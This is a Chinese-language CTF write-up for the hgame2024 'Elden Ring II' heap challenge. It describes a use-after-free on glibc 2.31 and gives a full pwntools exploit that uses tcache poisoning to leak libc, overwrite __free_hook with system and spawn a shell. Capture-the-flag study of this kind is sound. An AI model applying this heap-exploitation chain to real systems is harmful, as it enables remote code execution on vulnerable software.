hgame2024 week2 - Elden Ring II

RocketDev

write some notes

文件属性

属性
Arch x64
RELRO Partial
Canary off
NX on
PIE off
strip no

解题思路

第二周上来4道堆题

glibc 2.31,有uaf,考虑tcache dup + poisoning
最大尺寸拿得到unsorted bin,从里面拿到libc,然后打freeHook

要注意的是想tcache dup,需要把key写成其他值,此外还要free一个其他堆块放置top chunk合并

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
context.terminal = ['tmux','splitw','-h']

def payload(lo:int):
global sh
if lo:
sh = process('./eldering2')
libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.31-0ubuntu9.12_amd64/libc.so.6')
if lo & 2:
gdb.attach(sh)
else:
sh = remote('106.14.57.14', 31825)
libc = ELF('./libc.so.6')
elf = ELF('eldering')

def addn(idx:int, size:int):
sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'Index', str(idx).encode())
sh.sendlineafter(b'Size', str(size).encode())

def deln(idx:int):
sh.sendlineafter(b'>', b'2')
sh.sendlineafter(b'Index', str(idx).encode())

def edit(idx:int, content:bytes):
sh.sendlineafter(b'>', b'3')
sh.sendlineafter(b'Index', str(idx).encode())
sh.sendafter(b'Content', content)

def show(idx:int) -> bytes:
sh.sendlineafter(b'>', b'4')
sh.sendlineafter(b'Index: ', str(idx).encode())
return sh.recvline()

addn(0, 0x98)
addn(1, 0x98)
addn(2, 0x98)
addn(3, 0x98)
addn(4, 0x98)
addn(5, 0x98)
addn(6, 0x98)
addn(7, 0x98)
deln(7)
deln(6)
deln(5)
deln(4)
deln(3)
deln(2)
deln(1)
deln(0) # 1-7 in tcache, 0 in unsorted bin
ret = show(0)

dumpArena = libc.symbols['__malloc_hook'] + (libc.symbols['__malloc_hook'] - libc.symbols['__realloc_hook']) * 2
mainArena = u64(ret[:6] + b'\0\0') - 0x60 # sub unsorted bin offset
libcBase = mainArena - dumpArena
print(f'\x1b[33mcheck libcBase: {hex(libcBase)}\x1b[0m')
freeHook = libcBase + libc.symbols['__free_hook']
system = libcBase + libc.symbols['system']

addn(8, 0x18)
addn(9, 0x38) # prevent chunk from being merged into top chunk
deln(8)
edit(8, p64(freeHook) + b'\n')
deln(8) # make 2 bins in tcache
edit(8, p64(freeHook) + b'\n')
addn(10, 0x18) # get chunk 8
addn(11, 0x18) # get freeHook
edit(11, p64(system) + b'\n')
edit(9, b'/bin/sh\0\n')
deln(9)

sh.clean()
sh.interactive()
  • 标题: hgame2024 week2 - Elden Ring II
  • 作者: RocketDev
  • 创建于 : 2024-02-15 16:00:00
  • 更新于 : 2024-07-25 12:34:56
  • 链接: https://rocketmadev.github.io/2024/02/15/W2_EldenRingII/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
hgame2024 week2 - Elden Ring II